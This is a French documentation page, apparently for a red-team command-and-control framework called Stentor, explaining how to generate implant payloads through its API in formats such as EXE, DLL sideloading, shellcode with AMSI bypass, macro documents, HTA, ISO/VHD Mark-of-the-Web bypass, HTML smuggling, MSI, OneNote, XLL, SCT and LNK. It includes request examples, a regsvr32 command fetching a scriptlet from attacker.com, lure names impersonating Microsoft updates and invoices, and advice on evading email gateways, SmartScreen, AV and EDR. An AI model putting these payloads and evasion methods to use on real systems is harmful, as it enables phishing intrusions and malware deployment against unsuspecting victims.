Aller au contenu

Formats de payload

Stentor génère des payloads dans 17 formats de sortie couvrant tous les principaux scénarios de livraison : des exécutables Windows standard aux conteneurs contournant MOTW et à la contrebande HTML basée sur un navigateur. Chaque format est spécialement conçu pour des besoins opérationnels spécifiques avec des compromis OPSEC distincts.


Aperçu

Le pipeline de génération de payload transforme le code source de l'implant Go en binaires déployables via une compilation croisée et un obfuscation facultative sur l'agent Relay.

flowchart LR
    A[Operator] -->|POST /api/v1/payloads/generate| B[Backend]
    B -->|WebSocket dispatch| C[Relay]
    C -->|Go cross-compile<br>+ Garble obfuscation<br>+ Donut shellcode| D[Payload Binary]
    D -->|Return binary| B
    B -->|Store + respond| A

Livraison stageless vs staged

Stentor prend en charge deux modèles de pose d'implants :

Modèle Taille Description Idéal pour
Stageless ~2 Mo Implant complet intégré dans le payload Fiabilité, cibles hors ligne, réseaux isolés
Staged ~50 Ko Un petit stager récupère l'implant complet depuis l'endpoint de staging Encombrement initial réduit, mises à jour d'implants plus faciles

Quand utiliser chacun

Utilisez stageless lorsque vous avez besoin d'une exécution garantie sans dépendances réseau : l'implant entier est autonome. Utilisez staged lorsque la taille initiale du payload est importante (par exemple, pièces jointes de phishing, canaux de téléchargement limités) et que la cible dispose d'une connectivité réseau avec l'endpoint de staging.


Générer des payloads

Point de terminaison de l'API

POST /api/v1/payloads/generate -- Générez une seule payload via le relais connecté.

Champs de demande

Champ Type Obligatoire Description
delivery_type chaîne Oui Format de payload : exe, lnk, docm, xlsm, iso, hta, html_smuggling, msi, vhd, vhdx, xll, onenote, sct
implant_variant chaîne Non Type d'implant : standalone (par défaut), staged, dll, service, shellcode
listener_id chaîne Non UUID du listener (préféré à c2_url)
c2_url chaîne Non URL C2 directe (remplacement si non listener_id)
architecture chaîne Non Architecture cible : x64 (par défaut), x86
sleep int Non Intervalle de rappel du beacon en secondes
jitter int Non Pourcentage de gigue (0-100)
filename chaîne Non Nom du fichier de sortie (généré automatiquement si vide)
obfuscate bool Non Activer l'obfuscation Garble (hachage unique par build)
profile chaîne Non Nom du profil malléable C2
exit_func chaîne Non process (ExitProcess, par défaut) ou thread (ExitThread)
kill_date chaîne Non Date d'expiration de la RFC3339 (par exemple, 2026-06-01T00:00:00Z)
host_uri chaîne Non Héberger automatiquement le payload sur cet URI sur le listener

Génération EXE de base

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64",
    "filename": "update.exe"
  }'

Génération par lots

POST /api/v1/listeners/{id}/generate-all -- Génère toutes les variantes de payload pour un listener sous forme d'archive ZIP.

Produit automatiquement les variantes suivantes :

Nom du fichier Variante Architecture
beacon.exe autonome x86
beacon64.exe autonome x64
beacon.dll dll x86
beacon64.dll dll x64
beacon-svc.exe services x86
beacon-svc64.exe services x64
beacon.bin shellcode x86
beacon64.bin shellcode x64
beacon.ps1 staged x64
curl -s -X POST "https://stentor.app/api/v1/listeners/6ea88162-d558-404a-a19f-4b4cab34b22f/generate-all" \
  -H "Authorization: Bearer $TOKEN" \
  -o payloads.zip

Filtre d'architecture

Transmettez {"architecture": "x64"} dans le corps de la requête pour générer uniquement des variantes 64 bits.

Régénération

POST /api/v1/payloads/{id}/regenerate -- Reconstruisez un payload à partir de sa configuration stockée. Utile pour générer une nouvelle copie avec un nouveau hachage tout en conservant les mêmes paramètres.

curl -s -X POST "https://stentor.app/api/v1/payloads/abc123/regenerate" \
  -H "Authorization: Bearer $TOKEN"

Télécharger

GET /api/v1/payloads/{id}/download -- Téléchargez un binaire de payload généré. Il s'agit d'un point de terminaison public (aucune authentification requise) afin que les cibles puissent récupérer directement les payloads.

curl -s "https://stentor.app/api/v1/payloads/abc123/download" -o payload.exe

Hébergement automatique

Définissez host_uri dans la requête de génération pour diffuser automatiquement le payload sur un chemin URI spécifique sur le listener :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "filename": "update.exe",
    "host_uri": "/updates/kb5034441.exe"
  }'

La réponse comprend un champ hosted_url avec l'URL complète où le payload est accessible.


Formats de payload de base

Il s’agit des formats de sortie binaires fondamentaux sur lesquels s’appuient tous les autres mécanismes de livraison.

WindowsEXE

Exécutable Windows PE standard : le format de payload le plus simple et le plus direct.

Propriété Valeur
type_delivraison exe
variante_implant standalone
Prolongement .exe
MITRE --
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Considérations OPSEC

  • Fichier écrit sur le disque - soumis à une analyse statique et comportementale AV
  • Nécessite un contournement de Mark-of-the-Web pour les téléchargements (utilisez un conteneur ISO/VHD ou une contrebande HTML)
  • La création de processus génère l'ID d'événement Sysmon 1
  • Envisagez l'obscurcissement ("obfuscate": true) pour un hachage unique par build

DLL Windows

Bibliothèque de liens dynamiques pour les scénarios de chargement latéral de DLL. Se charge dans le contexte d’une application légitime, héritant de sa réputation et de sa confiance.

Propriété Valeur
type_delivraison exe
variante_implant dll
Prolongement .dll
MITRE T1574.002 (chargement latéral de DLL)

Options spécifiques aux DLL :

Options Type Par défaut Description
export_name chaîne DllMain Nom de la fonction d'exportation principale
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "dll",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Considérations OPSEC

  • Mieux qu'un EXE autonome lorsqu'il est chargé via une application légitime et signée
  • Beacon s'exécute à l'intérieur du processus hôte et se mélange à une activité légitime
  • Détection : événement de chargement de DLL (Sysmon Event ID 7), DLL non signée dans le répertoire de l'application
  • Identifiez les applications vulnérables au chargement latéral sur la cible avant le déploiement

ServiceEXE

Implémente l'interface Windows Service Control Manager (SCM) pour la persistance basée sur les services. Fonctionne en tant que service Windows, survit aux redémarrages et s'exécute en tant que SYSTEM.

Propriété Valeur
type_delivraison exe
variante_implant service
Prolongement .exe
MITRE T1543.003 (Créer ou modifier un processus système : service Windows)

Options spécifiques au service :

Options Type Par défaut Description
service_name chaîne StentorSvc Nom du service SCM interne
display_name chaîne Stentor Update Service Nom d'affichage lisible par l'homme
description chaîne Provides system update functionality. Description des prestations
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "service",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Considérations OPSEC

  • Apparaît comme un service Windows légitime dans services.msc
  • Fonctionne en tant que SYSTEM -- pas besoin d'élévation de privilèges après l'installation
  • Détection : événement de création de service (ID d'événement système 7045), nouveau binaire de service dans le système de fichiers
  • Utilisez des valeurs service_name et display_name réalistes qui se fondent dans les services existants

Shellcode brut

Code indépendant de la position généré via la conversion Donut. Le format le plus flexible : injectez dans n’importe quel processus sans toucher au disque.

Propriété Valeur
type_delivraison exe
variante_implant shellcode
Prolongement .bin (brut), varie selon le format de sortie
MITRE T1620 (Chargement de code réfléchissant)

Options spécifiques au shellcode :

Options Type Par défaut Description
output_format chaîne raw Format de sortie : raw, c, csharp, python, ruby, java, perl, vba, hex
architecture chaîne x64 Cible : x64, x86, x84 (les deux)
compress bool false Activer la compression aPLib
encrypt bool false Activer le chiffrement symétrique Donut
bypass_amsi bool false Activer le contournement AMSI dans le chargeur Donut
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "shellcode",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "shellcode_config": {
      "output_format": "raw",
      "architecture": "x64"
    }
  }'
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "shellcode",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "shellcode_config": {
      "output_format": "csharp",
      "architecture": "x64",
      "compress": true,
      "encrypt": true,
      "bypass_amsi": true
    }
  }'

Considérations OPSEC

  • Aucun fichier sur le disque -- plus évasif lorsqu'il est combiné avec l'injection de processus
  • Résident en mémoire uniquement, mais soumis à l'analyse de la mémoire et à la télémétrie ETW
  • Utilisez les options compress et encrypt pour empêcher l'analyse statique du blob du shellcode
  • bypass_amsi ajoute un correctif AMSI au stub du chargeur Donut

Stageur

Petit téléchargeur (~ 50 Ko) qui récupère l'implant complet à partir d'un point de terminaison intermédiaire. La livraison en deux phases réduit la taille de le payload initiale.

Propriété Valeur
type_delivraison exe
variante_implant staged
Prolongement .exe ou .ps1
MITRE T1105 (Transfert d'outil d'entrée)

Options spécifiques au Stager :

Options Type Par défaut Description
auth_token chaîne (vide) Jeton de porteur pour l'authentification du point de terminaison intermédiaire
pubkey_path chaîne /api/v1/c2/pubkey Chemin du point de terminaison de clé publique RSA
keyx_path chaîne /api/v1/c2/keyx Chemin du point de terminaison d’échange de clés
stage_path chaîne /api/v1/c2/stage Chemin du point de terminaison intermédiaire
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "staged",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Considérations OPSEC

  • Encombrement initial plus petit (~ 50 Ko contre ~ 2 Mo) - meilleur pour les canaux à taille limitée
  • Le trafic intermédiaire génère des connexions réseau supplémentaires qui peuvent être détectées
  • Remplacer les chemins intermédiaires par défaut (pubkey_path, keyx_path, stage_path) pour OPSEC
  • Le modèle d'exécution en deux phases est un indicateur de détection connu
  • Utilisez auth_token pour empêcher tout accès non autorisé au point de terminaison intermédiaire.

Formats de documents et de macros

Mécanismes de livraison traditionnels basés sur des documents. Efficace contre les environnements existants mais de plus en plus bloqué par les politiques Office modernes.

Macro Word (DOCM)

Document Word compatible avec les macros contenant du VBA intégré qui exécute le payload à l'ouverture du document.

Propriété Valeur
type_delivraison docm
Prolongement .docm
MITRE T1566.001 (Pièce jointe de spearphishing)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "docm",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

Considérations OPSEC

  • Les macros sont bloquées par défaut dans Office 2022+ et Microsoft 365 pour les documents provenant d'Internet
  • Viable uniquement si l'organisation cible dispose de macros activées via la stratégie de groupe
  • Détection : événement d'exécution de macro, processus enfant généré par WINWORD.EXE
  • Envisagez le contournement de MOTW (ISO/VHD) pour contourner les politiques de macroblocage

Macro Excel (XLSM)

Feuille de calcul Excel prenant en charge les macros avec exécution VBA intégrée. Mêmes capacités et limitations que DOCM.

Propriété Valeur
type_delivraison xlsm
Prolongement .xlsm
MITRE T1566.001 (Pièce jointe de spearphishing)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "xlsm",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

Considérations OPSEC

  • Mêmes restrictions de blocage de macros que DOCM (Office 2022+ bloque par défaut)
  • Détection : événement d'exécution de macro, processus enfant généré par EXCEL.EXE
  • Spécifique à Excel : les macros Auto_Open ou Workbook_Open sont des signatures de détection bien connues

ETS

Application HTML exécutée via mshta.exe. Prend en charge trois méthodes d'attaque : téléchargement direct d'exécutables, exécution PowerShell ou injection de shellcode VBA.

Propriété Valeur
type_delivraison hta
Prolongement .hta
MITRE T1218.005 (Exécution du proxy binaire système : Mshta)

Options spécifiques à l'ETS :

Options Type Par défaut Description
method chaîne executable Méthode d'attaque : executable, powershell, vba
script_type chaîne vbs Langage de script : vbs, js
title chaîne Loading... Titre de la fenêtre HTA
body_text chaîne Please wait while document loads... Afficher le texte
body_html chaîne (vide) Corps HTML personnalisé (remplace body_text)
width int 400 Largeur de la fenêtre en pixels
height int 200 Hauteur de la fenêtre en pixels

Télécharge l'EXE depuis C2 et l'exécute via MSXML2.XMLHTTP :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "executable",
      "title": "Document Viewer",
      "body_text": "Loading secure document..."
    }
  }'

Incorpore la commande PowerShell codée dans HTA VBScript :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "powershell",
      "script_type": "vbs"
    }
  }'

Injection de shellcode autonome - aucun téléchargement EXE requis :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "vba"
    }
  }'

Considérations OPSEC

  • mshta.exe est un LOLBin bien connu - fortement surveillé par EDR
  • Détection : création de processus mshta.exe, génération de processus enfants, analyse du contenu du script
  • La méthode vba évite un téléchargement réseau supplémentaire mais utilise PowerShell pour l'injection de shellcode
  • Envisagez d'utiliser HTA dans un conteneur ISO/VHD pour contourner MOTW

Formats de conteneur (contournement MOTW)

Ces formats contournent Mark-of-the-Web (MOTW), empêchant ainsi les invites SmartScreen et les contrôles de sécurité basés sur les zones sur les fichiers extraits du conteneur.

Comment fonctionne le contournement MOTW

Lorsqu'un fichier est téléchargé à partir d'Internet, Windows joint un flux de données alternatif (ADS) Zone.Identifier le marquant comme « provenant d'Internet ». Les fichiers contenus dans des conteneurs ISO/VHD montés n'héritent pas de cette marque, contournant SmartScreen et d'autres protections basées sur MOTW (MITRE T1553.005).

OIN

Conteneur d'images de disque optique ISO 9660. Windows monte automatiquement les ISO par double-clic, présentant les fichiers dans l'Explorateur sans restrictions MOTW.

Propriété Valeur
type_delivraison iso
Prolongement .iso
MITRE T1553.005 (Subvertir les contrôles de confiance : contourner le marquage du Web)

Options spécifiques à l'ISO :

Options Type Par défaut Description
volume_label chaîne DOCUMENTS Étiquette de volume ISO (max 32 caractères)
include_lnk bool false Inclure un raccourci qui lance l'EXE
lnk_filename chaîne Report.lnk Nom de fichier de raccourci visible
exe_filename chaîne update.exe Nom de fichier pour l'EXE caché
decoy_filename chaîne (vide) Nom du document leurre facultatif (par exemple, Report.pdf)
decoy_data octets (vide) Contenu du document leurre facultatif
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "iso",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "iso_config": {
      "volume_label": "Q4_REPORT",
      "include_lnk": true,
      "lnk_filename": "Q4 Financial Report.lnk",
      "exe_filename": "reader.exe",
      "decoy_filename": "Q4_Report.pdf"
    }
  }'

Considérations OPSEC

  • Windows monte automatiquement les ISO – aucun logiciel supplémentaire requis sur la cible
  • Les fichiers à l'intérieur n'ont pas de MOTW - contournent les invites SmartScreen
  • Détection : événement de montage ISO dans les journaux Windows, exécutable lancé à partir du volume monté
  • Utilisez include_lnk avec un nom convaincant pour améliorer le succès de l'ingénierie sociale
  • Inclure un document leurre pour la crédibilité du prétexte

VHD/VHDX

Conteneur de disque dur virtuel. Fonctionnellement similaire à l'ISO pour le contournement MOTW mais utilise le format VHD/VHDX (prise en charge native de Windows 8+).

Propriété Valeur
type_delivraison vhd ou vhdx
Prolongement .vhd ou .vhdx
MITRE T1553.005 (Subvertir les contrôles de confiance : contourner le marquage du Web)

Options spécifiques au VHD :

Options Type Par défaut Description
format chaîne vhd Format du conteneur : vhd ou vhdx
disk_size_mb int 50 Taille du disque virtuel en Mo
volume_label chaîne DOCUMENTS Étiquette de volume du système de fichiers FAT (max 11 caractères)
exe_filename chaîne update.exe Nom de fichier pour l'EXE intégré
include_lnk bool false Inclure un raccourci qui lance l'EXE
lnk_filename chaîne Report.lnk Nom de fichier de raccourci visible
decoy_filename chaîne (vide) Nom du document leurre facultatif
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "vhd",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "vhd_config": {
      "format": "vhd",
      "disk_size_mb": 50,
      "volume_label": "DOCS",
      "include_lnk": true,
      "lnk_filename": "Open Report.lnk",
      "exe_filename": "viewer.exe"
    }
  }'

Considérations OPSEC

  • Contournement MOTW similaire à l'ISO mais moins couramment utilisé - sensibilisation potentiellement inférieure du défenseur
  • Le format VHD est plus simple et plus compatible ; VHDX est le nouveau format dynamique
  • Détection : événement de montage VHD, journaux d'événements de disque, exécutable lancé à partir du volume monté
  • Taille de fichier plus grande que l'ISO en raison de la surcharge de l'image disque - ajustez disk_size_mb en conséquence

Formats de livraison modernes

Mécanismes de livraison contemporains ciblant les failles de sécurité actuelles et exploitant les binaires de systèmes fiables.

Contrebande HTML

Incorpore un payload codée en Base64 dans un fichier HTML qui reconstruit et déclenche le téléchargement via un blob JavaScript. Contourne les passerelles de messagerie et les proxys Web qui inspectent les téléchargements de fichiers.

Propriété Valeur
type_delivraison html_smuggling
Prolongement .html
MITRE T1027.006 (Fichiers obscurcis : contrebande HTML)

Options de contrebande HTML :

Options Type Par défaut Description
embedded_payload_type chaîne exe Payload intégrée : exe, iso, hta
title chaîne Loading Document... Titre de la page HTML
body_text chaîne Please wait while your document is being prepared... Afficher le texte
download_filename chaîne document.exe Nom du fichier téléchargé
auto_download bool true Déclencher le téléchargement automatiquement au chargement de la page
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "html_smuggling",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "html_smuggling_config": {
      "embedded_payload_type": "iso",
      "title": "Secure Document Portal",
      "body_text": "Your document is being prepared for download...",
      "download_filename": "report.iso",
      "auto_download": true
    }
  }'

Combinez avec ISO pour une évasion maximale

Utilisez "embedded_payload_type": "iso" pour enchaîner la contrebande HTML avec le contournement MOTW. La page HTML fournit une image ISO qui contient le payload, en contournant à la fois l'analyse de la passerelle de messagerie et SmartScreen.

Considérations OPSEC

  • Contourne les passerelles de messagerie, les proxys Web et l'inspection des fichiers au niveau du réseau
  • La payload est reconstruite côté client à partir de données Base64 – jamais transmise sous forme binaire
  • Détection : fichiers HTML volumineux avec JavaScript intégré, événements de création de blob JavaScript
  • auto_download déclenche le téléchargement immédiatement : désactivez-le pour un flux "Cliquer pour télécharger"

MSI

Package Windows Installer exécuté via le binaire système fiable et signé msiexec.exe.

Propriété Valeur
type_delivraison msi
Prolongement .msi
MITRE T1218.007 (exécution du proxy binaire système : Msiexec)

Options spécifiques à MSI :

Options Type Par défaut Description
product_name chaîne System Update Nom du produit MSI
product_version chaîne 1.0.0 Version du produit MSI
manufacturer chaîne Microsoft Corporation Fabricant MSI
description chaîne (vide) Description du produit
upgrade_code chaîne (généré automatiquement) GUID de mise à niveau MSI
install_scope chaîne perMachine Portée d'installation : perMachine ou perUser
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "msi",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "msi_config": {
      "product_name": "Security Update KB5034441",
      "manufacturer": "Microsoft Corporation",
      "product_version": "10.0.19045",
      "install_scope": "perMachine"
    }
  }'

Considérations OPSEC

  • msiexec.exe est un binaire de confiance signé par Microsoft - exécuté via un processus de confiance
  • La portée perMachine déclenche l'invite UAC ; perUser s'installe silencieusement
  • Détection : création de processus enfant msiexec.exe, journaux d'événements d'installation MSI (ID d'événement MsiInstaller 1033/1042)
  • Utilisez des métadonnées de produit réalistes qui correspondent au scénario prétexte

UneNote

Package OneNote avec un payload HTA intégrée. Est apparu comme un mécanisme de livraison populaire après que Microsoft ait bloqué les macros par défaut.

Propriété Valeur
type_delivraison onenote
Prolongement .onepkg
MITRE T1566.001 (Pièce jointe de spearphishing)

Options spécifiques à OneNote :

Options Type Par défaut Description
embedded_payload_type chaîne hta Payload intégrée : hta, vbs, cmd
button_text chaîne Double Click to View Document Texte de superposition d'ingénierie sociale
title chaîne Important Document Titre de la page OneNote
body_text chaîne This document contains secure content. Double-click the attachment to view. Texte du corps de la page
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "onenote",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "onenote_config": {
      "embedded_payload_type": "hta",
      "button_text": "Click to View Invoice",
      "title": "Invoice #2024-0847"
    }
  }'

Considérations OPSEC

  • À l'origine efficace après la désactivation de la macro, mais Microsoft a depuis ajouté des restrictions aux fichiers intégrés OneNote.
  • Détection : création de processus enfants OneNote, événements d'extraction de fichiers intégrés
  • L'utilisateur doit cliquer sur l'objet intégré : le texte superposé à l'ingénierie sociale est essentiel.

ExcelXLL

DLL de complément Excel qui s'exécute via l'exportation xlAutoOpen lorsqu'elle est chargée par Excel.

Propriété Valeur
type_delivraison xll
Prolongement .xll
MITRE T1137.006 (démarrage de l'application Office : compléments)

Options spécifiques à XLL :

Options Type Par défaut Description
export_name chaîne xlAutoOpen Fonction d'export (réservé -- xlAutoOpen est toujours utilisé)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "xll",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Considérations OPSEC

  • Les fichiers XLL sont chargés par Excel en tant que compléments, appelant xlAutoOpen au chargement
  • Microsoft a bloqué les compléments XLL sur Internet dans Microsoft 365 (2023+)
  • Détection : DLL non signée chargée par EXCEL.EXE, événement de chargement de complément
  • Plus efficace via la diffusion interne (partage de fichiers, SharePoint) plutôt que par courrier électronique

Script COM (SCT)

Scriptlet XML exécuté via le binaire système signé regsvr32.exe. Prend en charge l'exécution à partir d'une URL distante sans écrire sur le disque.

Propriété Valeur
type_delivraison sct
Prolongement .sct
MITRE T1218.010 (exécution du proxy binaire système : Regsvr32)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "sct",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

Exécuter sur cible via :

regsvr32 /s /n /u /i:https://attacker.com/update.sct scrobj.dll

Considérations OPSEC

  • regsvr32.exe est un binaire Windows signé et fiable : l'exécution du proxy contourne la liste blanche des applications.
  • Peut s'exécuter directement à partir d'une URL - aucun fichier sur le disque n'est requis
  • Détection : regsvr32.exe avec le paramètre /i:URL, événement de chargement scrobj.dll
  • Technique bien connue : la plupart des solutions EDR détectent l'exécution du scriptlet regsvr32

LNK

Fichier de raccourci Windows intégrant un support de téléchargement PowerShell. Double-cliquez sur l'exécution avec une icône personnalisable.

Propriété Valeur
type_delivraison lnk
Prolongement .lnk
MITRE T1204.002 (Exécution utilisateur : fichier malveillant)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "lnk",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "filename": "Q4 Report.lnk"
  }'

Considérations OPSEC

  • Exécution en double-clic – s'appuie sur l'ingénierie sociale pour l'interaction de l'utilisateur
  • Contient une commande PowerShell intégrée visible via l'analyse médico-légale LNK
  • Détection : analyse de fichiers LNK, exécution PowerShell à partir d'un raccourci, création de processus enfants
  • Meilleure livraison dans des conteneurs ISO/VHD pour contourner MOTW

Guide de sélection des formats

Scénario Format recommandé Pourquoi
Accès initial via e-mail de phishing Contrebande HTML + ISO Contourne l'analyse de la passerelle de messagerie + MOTW
Dépôt USB/accès physique EXE en ISO ou VHD Contournement MOTW, montage automatique sur double-clic
Chargement latéral de DLL (application cible connue) DLL Charges dans le contexte d'un processus de confiance
Persistance des services ServiceEXE Survit aux redémarrages, fonctionne en tant que SYSTEM
En mémoire uniquement (aucun fichier sur le disque) Shellcode Injecter dans le processus existant via BOF/injection
Livraison en deux étapes (faible encombrement) Stageur ~ 50 Ko de payload initiale, récupère l'implant complet
Exécution d'un programme d'installation fiable MSI Fonctionne via msiexec.exe signé
Exécution LOLBin (regsvr32) SCT Binaire signé, prend en charge l'exécution d'URL
Livraison de macros héritées DOCM/XLSM Viable uniquement si les macros sont activées sur la cible
Livraison du complément Excel XLL Charges via xlAutoOpen dans le processus Excel
Phishing post-macro-désactivation UneNote Payload HTA intégrée dans .onepkg
Livraison basée sur des raccourcis LNK dans l'ISO Ingénierie sociale avec contournement de MOTW

Formats de chaîne pour une évasion en couches

Combinez les formats de livraison pour contourner la défense en profondeur. Par exemple : HTML Smuggling (contourne la passerelle de messagerie) fournit un ISO (contourne MOTW/SmartScreen) contenant un EXE ou un LNK (exécution réelle). Chaque couche va à l'encontre d'un contrôle de sécurité différent.


Options communes

Ces options s'appliquent à tous ou à la plupart des formats de payload.

Architecture

"architecture": "x64"

Architecture cible : x64 (par défaut) ou x86. La plupart des environnements Windows modernes sont en 64 bits : utilisez x86 uniquement lorsque vous ciblez des processus 32 bits ou des systèmes existants.

Obscurcissement

"obfuscate": true

Active l'obscurcissement Garble pendant la compilation. Chaque build produit un hachage binaire unique, annulant la détection basée sur les signatures. Augmente le temps de construction d'environ 30 à 60 secondes.

Fonction de sortie

"exit_func": "thread"

Contrôle la façon dont le beacon se termine : process (par défaut) appelle ExitProcess -- termine l'ensemble du processus hôte. thread appelle ExitThread -- termine uniquement le thread de beacon, laissant le processus hôte en cours d'exécution. Utilisez thread lorsqu'il est injecté dans un processus légitime que vous souhaitez maintenir en vie.

Date de mise à mort

"kill_date": "2026-06-01T00:00:00Z"

Date d'expiration de la RFC3339. Après cette date, le payload s'arrête automatiquement au démarrage et les beacons en cours d'exécution se terminent lors de leur prochain cycle d'interrogation. Utilisez des dates de mise à mort pour limiter les fenêtres d'exposition pendant les engagements limités dans le temps.

Profil malléable

"profile": "jquery"

Nom de profil C2 malléable pour la personnalisation du trafic. Les profils contrôlent les transformations de requête/réponse HTTP, les en-têtes, les URI et d’autres indicateurs réseau. Voir Profils malléables pour plus de détails.

Sleep et jitter

"sleep": 60,
"jitter": 25

Intervalle de rappel du beacon en secondes et pourcentage de gigue (0-100). Des valeurs de sommeil plus élevées réduisent le bruit du réseau ; la gigue ajoute du caractère aléatoire au timing de rappel pour éviter la détection de modèles périodiques.

Hébergement automatique

"host_uri": "/updates/patch.exe"

Diffusez automatiquement le payload générée sur le chemin URI spécifié sur le listener. La réponse inclut le hosted_url complet. L'URI doit commencer par / et ne peut pas utiliser les préfixes /api/ ou /c2/.

Mutation de code

"code_mutation": true

Activez la mutation de code par build pour rendre chaque payload générée unique au niveau binaire. Le moteur de mutation applique 4 techniques au moment de la compilation :

Technique Description
Insertion de code indésirable Ajoute des séquences d'appels d'API Win32 réalistes (pool de 12 API) qui s'exécutent mais n'ont aucun impact fonctionnel
Prédicats opaques Insère des branches conditionnelles avec des résultats mathématiquement prédéterminés (7 générateurs de prédicats)
Transformations du flux de contrôle Restructure les blocs de base et les modèles de boucles pour modifier la signature CFG
Mutation constante Remplace les constantes entières/chaînes par des expressions calculées équivalentes

Le code de mutation généré est placé dans package beacon avec init() + runtime.KeepAlive pour empêcher l'élimination du code mort. Chaque version produit un binaire avec différents modèles de code, annulant ainsi la détection AV basée sur les signatures.

La mutation de code est appliquée aux 5 types de payload à compilation directe (EXE, DLL, Service DLL, XLL, Shellcode). Les stagers sont exclus (ils importent internal/stager, pas internal/beacon).

Suivi des artefacts

Lorsque la mutation de code est activée, la build enregistre un artefact « Code Mutation » pour le suivi. Voir Intégration MITRE ATT&CK pour plus de détails sur le suivi des artefacts.

Garde-corps OPSEC

Configurez des garde-fous d'exécution au moment de l'exécution pour empêcher l'exécution de beacons dans des environnements non autorisés.

"guardrails": {
  "kill_date": "2026-03-31",
  "working_hours": "08:00-18:00",
  "working_days": "Mon-Fri",
  "timezone": "America/New_York",
  "geofence_ips": ["10.10.10.0/24"],
  "geofence_hostnames": ["WS01", "WS02", "DC01"],
  "geofence_domains": ["corp.local"],
  "geofence_usernames": ["labuser", "CORP\\jsmith"],
  "dns_canary": "canary.yourdomain.com",
  "edr_check": true
}
Champ Type Description
